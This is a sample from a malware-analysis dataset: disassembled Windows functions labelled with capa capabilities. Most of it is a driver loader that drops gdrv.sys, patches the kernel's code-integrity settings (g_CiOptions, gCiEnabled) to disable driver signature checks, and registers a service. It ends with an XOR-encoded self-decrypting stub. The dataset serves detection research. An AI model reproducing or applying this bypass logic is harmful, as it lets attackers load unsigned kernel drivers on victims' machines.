joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428350
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x00503530]
test rcx, rcx
je 0x4282d0
call fcn.00428100
mov rax, qword [0x00503528]
test rax, rax
je 0x4282f3
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x4281d3
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.00427ad0
test rax, rax
mov rbx, rax
je 0x42833b
cmp qword [0x00506050], 0
je 0x42833b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x428342
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x00503528]
test rax, rax
je 0x428317
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x428342
mov rax, rbx
jmp 0x4281ca
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.0042c280
mov rcx, rax
mov qword [0x00503530], rax
jmp 0x4281a8
lea r8, [0x00427110]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.0042c280
mov qword [0x00503528], rax
jmp 0x4281bd
lea r8, [0x00427110]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.0042c280
mov qword [0x00503528], rax
jmp 0x4282b8
xor eax, eax
jmp 0x4281ca
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.0042c280
Function at 0x42c280
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov r14, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x51]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0041b8f0
sub rsp, rax
movsxd r15, r14d
movabs rax, 0x656d68732d636367
lea rsi, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r15
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [rsi + r15 + 0x10]
lea r15d, [r14 + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, rsi
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r15d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x42c369
int3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x42c402
mov rcx, r12
add r14d, 0x10
call sub.msvcrt.dll_malloc
mov r10d, 0x40
mov rbx, rax
bt rbx, r10
jae 0x42c3a4
mov r11d, r15d
sub r11d, r10d
movsxd r11, r11d
mov byte [rsi + r11], 0x41
sub r10d, 1
jne 0x42c390
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x42c3ff
mov rdx, rsi
movzx ecx, ax
mov r9d, r14d
mov r8d, r15d
call fcn.0042c200
cmp rax, rbx
mov rsi, rax
je 0x42c419
mov rcx, rbx
call fcn.00425f58
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [r14 + 0x10]
mov rdx, rsi
movzx ecx, ax
mov r8d, r15d
call fcn.0042c200
mov rsi, rax
jmp 0x42c3d9
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x42c3d9
mov rcx, rbx
call r13
jmp 0x42c3d9

Function at 0x42de00
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x00482a00]
lea rcx, str.__terminate_handler_sh
mov edx, 8
jmp fcn.0041b9b0

Function at 0x42de20
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [0x00482a10]
lea rcx, str.__unexpected_handler_sh
mov edx, 8
jmp fcn.0041b9b0
Function at 0x4618a0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
mov rcx, rbp
call fcn.00461780
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x4618f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x4618ba
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001070
Capabilities:
Map section object

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0xf0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ebp, ebp
lea rdx, [rsp + 0x70]
mov qword [r8], rbp
mov rsi, r9
mov qword [r9], rbp
mov rdi, r8
lea r9, [rsp + 0x80]
mov qword [rsp + 0x60], rbp
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlDosPathNameToRelativeNtPathName_U_WithStatus]
mov ebx, eax
test eax, eax
js 0x14000125f
movzx ecx, word [rsp + 0x80]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x50], ebp
lea r9, [rsp + 0xd0]
mov qword [rsp + 0x48], rbp
lea r8, [rsp + 0xa0]
test cx, cx
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 1
mov eax, ebp
mov dword [rsp + 0x28], 0x80
cmovne rax, qword [rsp + 0x90]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x80]
cmove rax, rdx
mov dword [rsp + 0xa0], 0x30
mov edx, 0x120089
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x40
movdqu xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov ebx, eax
xor edx, edx
mov rax, qword gs:[0x30]
mov r8, qword [rsp + 0x78]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rcx, [rsp + 0x80]
call qword [sym.imp.ntdll.dll_RtlReleaseRelativeName]
test ebx, ebx
js 0x14000125f
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x1000000
xor r8d, r8d
mov edx, 0xf0004
mov dword [rsp + 0x20], 2
mov qword [rsp + 0x68], rbp
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov ebx, eax
test eax, eax
jns 0x1400011e5
lea rcx, str.NtCreateSection:_0x_08X_n
jmp 0x14000123b
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov dword [rsp + 0x48], 2
mov r8, rdi
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rsi
lea rdx, [r9 - 1]
mov qword [rdi], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsi], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ebx, eax
cmp eax, 0x40000003
jne 0x140001230
mov ebx, ebp
jmp 0x140001242
test eax, eax
jns 0x140001242
lea rcx, str.NtMapViewOfSection:_0x_08X_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000126d
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x14000126d
mov edx, ebx
lea rcx, str.NtCreateFile:_0x_08X_n
call fcn.140001010
mov eax, ebx
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400023b0
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400012a0
Capabilities:
Disable driver code integrity
Parse pe header

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov eax, 0x5a4d
mov rbp, rcx
cmp word [rcx], ax
jne 0x14000135d
movsxd rcx, dword [rcx + 0x3c]
add rcx, rbp
cmp dword [rcx], 0x4550
jne 0x14000135d
mov r8d, 0x20b
mov eax, 0x88
cmp word [rcx + 0x18], r8w
mov edx, 0x78
cmovne eax, edx
xor esi, esi
mov r12d, dword [rax + rcx]
mov eax, dword [rax + rcx + 4]
lea r13, [r12 + rbp]
mov r15d, dword [r13 + 0x20]
mov edi, dword [r13 + 0x18]
add r15, rbp
mov dword [rsp + 0x68], eax
mov eax, dword [r13 + 0x1c]
add rax, rbp
mov qword [rsp + 0x70], rax
mov eax, dword [r13 + 0x24]
add rax, rbp
sub edi, 1
mov qword [rsp + 0x60], rax
js 0x14000135d
nop
lea ebx, [rdi + rsi]
sar ebx, 1
lea rcx, str.CiInitialize
movsxd r14, ebx
mov edx, dword [r15 + r14*4]
add rdx, rbp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jns 0x140001354
lea edi, [rbx - 1]
jmp 0x140001359
jle 0x140001374
lea esi, [rbx + 1]
cmp edi, esi
jge 0x140001330
xor eax, eax
mov rbx, qword [rsp + 0x78]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp edi, esi
jl 0x14000135d
cmp ebx, dword [r13 + 0x14]
jge 0x14000135d
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
movzx eax, word [rax + r14*2]
mov ecx, dword [rcx + rax*4]
cmp ecx, r12d
jb 0x1400013a0
mov eax, dword [rsp + 0x68]
add eax, r12d
cmp ecx, eax
jb 0x14000135d
lea rax, [rcx + rbp]
jmp 0x14000135f
Function at 0x140001410
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov r11, rsp
push rbp
push r14
sub rsp, 0x168
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [r11 - 0x28], 0
mov rbp, rcx
lea r9, [r11 - 0x28]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400015bf
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x150]
mov qword [rsp + 0x198], rsi
add r8, r8
mov qword [rsp + 0x160], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x150]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test eax, eax
js 0x140001591
mov qword [rsp + 0x190], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140001589
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rdx, rcx, 0x128
lea rcx, [rdi + 8]
add rcx, rdx
mov edx, 2
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400014f0
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rbp
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000157f
inc ebx
cmp ebx, dword [rdi]
jb 0x1400014d2
jmp 0x140001589
mov rax, qword [rsp + 0x30]
xor esi, esi
mov qword [r14], rax
mov rbx, qword [rsp + 0x190]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x160]
mov eax, esi
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.1400023b0
add rsp, 0x168
pop r14
pop rbp
ret
Function at 0x1400015e0
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.1400012a0
mov rcx, rsi
mov rdi, rax
call fcn.1400012a0
mov r9, rax
test rax, rax
je 0x14000170d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x1400016a2
lea r11, [0x140004a58]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140001662
test dl, dl
jne 0x14000169e
inc ecx
inc rax
cmp ecx, 0x10
jb 0x140001655
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140001650
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140001690
jmp 0x1400016fc
xor cl, cl
jmp 0x14000166e
lea r11, [0x140004a48]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x1400016c2
test dl, dl
jne 0x140001714
inc ecx
inc rax
cmp ecx, 0xc
jb 0x1400016b5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x1400016b0
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x1400016f0
test r10d, r10d
jne 0x140001718
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140001010
xor eax, eax
jmp 0x140001800
xor cl, cl
jmp 0x1400016ce
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140001010
lea r11, [0x140004a38]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x140001772
test dl, dl
jne 0x1400017c2
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140001765
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x140001760
nop dword [rax]
inc bx
movzx eax, bx
cmp byte [rax + r11], 0
jne 0x1400017a0
test r10d, r10d
jne 0x1400017c6
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140001010
xor eax, eax
jmp 0x140001800
xor cl, cl
jmp 0x14000177e
movzx r9d, bx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
mov edx, r10d
lea rax, [r10 + r9]
add r9, 4
movsxd r8, dword [rax + rdi]
lea rbx, [r10 + r8]
add rbx, r9
add rbx, rdi
mov r9, rbx
call fcn.140001010
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001820
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x1400044d8]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x1400044d0]
mov rsi, rcx
mov dword [rsp + 0x60], eax
mov edi, 0x23f0
movzx eax, byte [0x1400044dc]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400044e4]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400044e6]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], di
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.1400013b0
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001070
mov ebx, eax
test eax, eax
jns 0x140001919
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.140001010
jmp 0x140001a51
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], di
jb 0x140001982
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140001410
mov ebx, eax
test eax, eax
jns 0x140001957
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.140001010
jmp 0x140001a3f
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.1400015e0
test eax, eax
je 0x140001a3a
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rsi], rax
jmp 0x140001a3f
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140001410
mov ebx, eax
test eax, eax
js 0x140001a3f
mov r10, qword [rsp + 0x48]
xor edi, edi
xor r9d, r9d
test r10, r10
je 0x140001a2e
mov r11, qword [rsp + 0x40]
lea rbx, [0x140004a6c]
nop word [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rbx
mov rax, rbx
add r8, r11
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x1400019dd
test cl, cl
jne 0x140001a2a
inc edx
inc rax
cmp edx, 4
jb 0x1400019d0
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, rdi
inc r9
mov rdi, rax
cmp r9, r10
jb 0x1400019c0
test rax, rax
je 0x140001a2e
movsxd rbx, dword [rax + r11 + 4]
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.140001010
mov rax, qword [rsp + 0x30]
lea rcx, [rdi + rbx]
add rax, 8
add rcx, rax
mov qword [rsi], rcx
xor ebx, ebx
jmp 0x140001a3f
xor cl, cl
jmp 0x1400019e9
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.140001010
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400023b0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140001a80
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov edi, 0x34
mov rsi, rcx
lea edx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x140001b11
nop dword [rax + rax]
add rdx, 2
cmp cx, 0x5c
mov rax, rdx
cmovne rax, rbx
movzx ecx, word [rdx]
mov rbx, rax
test cx, cx
jne 0x140001ad0
movzx ecx, word [rax]
test cx, cx
je 0x140001b11
lea rax, [rsi + 0x68]
cmp cx, 0x2e
je 0x140001b11
add rbx, 2
mov word [rax], cx
inc edi
add rax, 2
movzx ecx, word [rbx]
test cx, cx
jne 0x140001af6
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001bd7
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001b70
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001bd7
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400023b0
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x140002260
Capabilities:
Delete file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x50
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, rdx
cmp ecx, 2
jge 0x14000229e
lea rcx, str.Invalid_arguments._Usage:_Loader.exe_TargetDriver.sys_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400023b0
add rsp, 0x50
pop rbp
ret
mov qword [rsp + 0x60], rbx
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
xor ebx, ebx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov qword [rsp + 0x78], rdi
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov edi, 0xc0000001
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140002328
cmp rsi, 0xffffffffffffffff
je 0x14000235f
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x6650
lea rdx, [0x140006040]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000235f
mov rdx, qword [rbp + 8]
call fcn.140001ee0
mov edi, eax
test eax, eax
js 0x140002352
lea rcx, str.Driver_loaded_successfully_n
call fcn.140001010
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000236d
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, edi
lea rcx, str.Error:__08X_n
call fcn.140001010
mov rdi, qword [rsp + 0x78]
mov eax, 1
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400023b0
add rsp, 0x50
pop rbp
ret
Function at 0x145db46a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x145db46b2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x145db46db
pop rbp
sub rbp, 0x33
sub rbp, 0x5db46a8
sub rsp, 0x20
jmp 0x145db46fa
mov rax, 0x5db46a8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff81535f80
xor byte [rax], dl
inc rax
dec rcx
jne 0x145db4719
jmp 0x145db4730
enter 0x6909, 0xb
or dword [rax + rax*4 + 0x1c88080], edi
mov byte [r9 - 0x7e377f80], al
imul ecx, eax, 0x80874047
add byte [rax - 0x57bdb838], 0x80
add byte [rax - 0x379d8838], 0x81
or eax, dword [r9]
mov word [rax - 0x7e377f80], es
push 0x38c8d0d0
sub byte [0xc65bc813], bh
add byte [rax + 0x98039c8], 0x31
test dword [rax - 0x377f7f80], eax
sub dword [rcx - 0x38], 0xe87d873a
mov word [rax + 0x68808080], es
test dword [rax - 0x69967f80], eax
add byte [rax - 0x7d97be80], 0xb1
xchg ecx, eax
enter 0x4101, 0xffffffffffffff84
add byte [rax + 0x487fc880], 0x8f
add eax, 0x7f7f7f6e
fcomp st(2)
rcl al, cl
enter 0x2838, 0x3d
test eax, 0x80808080
or al, 0x39
or byte [rcx], 0x31
test dword [rax - 0x377f7f80], eax
sub dword [rcx + 0x68], 0x80808085
push 0xffffffff80808085
imul ecx, dword [0x1185bc84f], 0x8080fd68
sbb dl, 0xd7
enter 0x5709, 0xffffffffffffffc8
mov cl, 0x49
enter 0x52b1, 3
push 0x487fc885
pop qword [rsp + riz*8]
add byte [rax - 0x21f77080], 0x80
add byte [rax - 0x4663f41a], 0
jnp 0x145db485a
pop qword [rsp + rbx*4]
add byte [rax + 0x697b0080], 0x8f
add al, 0x93
add byte [rax + 0x7b01e680], 0x7f
movsd dword [rdi], dword [rsi]
pop qword [rdi + rbx*4]
add byte [rax + 0x417fc880], 0x69
jg 0x145db4892
jg 0x145db47be
int3
enter 0x4601, 0xffffffffffffff81
add byte [rax - 0x3778f780], 1
add dword [r8 + 0x47c88080], 0x80808243
add byte [rdx - 0x78fa70ae], 0x80
add byte [rax + 0x7fc8960a], 0x46
xchg edx, eax
push rdx
pop qword [rbx]
push rdx
jg 0x145db4904
jg 0x145db4809
push rdx
pop qword [0xc65bc915]
